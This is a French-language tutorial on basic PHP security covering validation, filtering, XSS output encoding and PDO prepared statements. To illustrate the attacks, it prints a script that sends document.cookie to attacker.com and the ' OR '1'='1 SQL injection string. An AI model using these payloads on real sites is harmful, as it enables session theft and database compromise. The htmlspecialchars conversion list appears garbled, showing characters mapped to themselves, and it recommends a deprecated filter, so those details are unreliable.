🔐 Sécurité de base en PHP

🧠 1️⃣ Vision globale de la sécurité

Dans une application web, **toutes les données provenant de l'utilisateur sont considérées comme dangereuses**.

👉 Sources de données non fiables :

- `$_GET`
- `$_POST`
- `$_REQUEST`
- `$_COOKIE`
- `$_FILES`

⚠️ Principe fondamental (à retenir absolument)

Toute entrée utilisateur = non fiable → doit être validée, filtrée et sécurisée

🧱 2️⃣ Les 3 piliers de la sécurité

Étape	Objectif
Validation	Vérifier si la donnée est correcte
Filtrage	Nettoyer la donnée
Protection	Empêcher exploitation (XSS, SQLi...)

💀 3️⃣ XSS (Cross-Site Scripting)

🧠 Définition professionnelle

Le XSS est une attaque qui permet à un attaquant d'injecter du **code JavaScript malveillant** dans une page web, exécuté ensuite dans le navigateur d'un autre utilisateur.

🎯 Objectifs d'un attaquant

- voler des cookies (`document.cookie`)
- détourner une session
- injecter du contenu malveillant
- rediriger vers un site frauduleux

💥 Exemple réel d'attaque

```
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
```

⚠️ Origine du problème

Affichage direct des données utilisateur :

```
echo $_POST['username'];
```

🛡️ Protection professionnelle

✔️ Encodage de sortie (Output Encoding)

```
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
```

🧠 Explication technique

- `htmlspecialchars()` convertit :
  - `<` → `<`
  - `>` → `>`
  - `"` → `"`
- `ENT_QUOTES` → protège les guillemets simples et doubles
- `UTF-8` → évite les bypass liés à l'encodage

💧 Bonne pratique

👉 Toujours sécuriser **au moment de l'affichage**, pas seulement à l'entrée.

💉 4️⃣ SQL Injection

🧠 Définition professionnelle

Une attaque SQL Injection consiste à injecter du code SQL malveillant dans une requête afin de :

- contourner l'authentification
- lire/modifier/supprimer des données
- compromettre toute la base

💥 Exemple classique

```
' OR '1'='1
```

❌ Code vulnérable

```
$query = "SELECT * FROM users WHERE username = '$username'";
```

👉 L'attaquant modifie la requête SQL

🛡️ Protection professionnelle (OBLIGATOIRE)

✔️ Requêtes préparées avec PDO

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
```

🧠 Explication avancée

- Le SQL est **précompilé**
- Les données sont envoyées séparément
- Impossible de modifier la structure de la requête

🔐 Version nommée (plus lisible)

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username");
$stmt->execute(['username' => $username]);
```

🔍 5️⃣ Validation des entrées utilisateur

🧠 Définition

La validation consiste à vérifier que les données respectent **un format attendu**.

🎯 Objectifs

- éviter données invalides
- empêcher attaques logiques
- garantir cohérence des données

💻 Exemples professionnels

✔ Champ obligatoire

```
if (empty($username)) {
    die("Champ requis");
}
```

✔ Longueur minimale

```
if (strlen($password) < 8) {
    die("Mot de passe trop court");
}
```

✔ Validation email

```
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die("Email invalide");
}
```

✔ Validation numérique

```
if (!is_numeric($age)) {
    die("Valeur invalide");
}
```

🧠 Bon principe

👉 Valider **avant traitement et avant stockage**

🧹 6️⃣ Filtrage des données

🧠 Définition

Le filtrage consiste à **nettoyer les données** pour éliminer tout contenu dangereux.

💻 Exemples

✅ Nettoyage basique

```
$username = trim($_POST['username']);
$username = strip_tags($username);
```

✅ Filtrage avancé

```
$username = filter_input(INPUT_POST, 'username',
FILTER_SANITIZE_STRING);
```

🧠 Explication

- `trim()` → supprime espaces inutiles
- `strip_tags()` → enlève HTML
- `filter_input()` → méthode propre et sécurisée

⚠️ Attention

👉 Le filtrage **ne remplace pas la protection XSS**

🔄 7️⃣ Workflow sécurisé complet

🧠 Processus professionnel

```
1. Réception des données ($_POST)
2. Validation (format correct ?)
3. Filtrage (nettoyage)
4. Traitement (logique PHP)
5. Stockage (PDO sécurisé)
6. Affichage (htmlspecialchars)
```

🔐 8️⃣ Bonnes pratiques professionnelles

✅ Toujours utiliser :

- PDO avec requêtes préparées
- `htmlspecialchars()` pour affichage
- validation stricte des données
- filtrage des entrées

❌ Ne jamais faire :

- faire confiance à l'utilisateur
- afficher données brutes
- écrire SQL directement avec variables
- ignorer validation

🧠 9️⃣ Vision avancée (niveau expert)

◇ XSS → attaque côté client

- cible le navigateur
- solution : **encoding (échappement)**

◇ SQL Injection → attaque côté serveur

- cible la base de données
- solution : **requêtes préparées**

◇ Différence clé

Type	Moment
Validation	Avant traitement
Filtrage	Nettoyage
Protection XSS	À l'affichage
Protection SQL	À l'exécution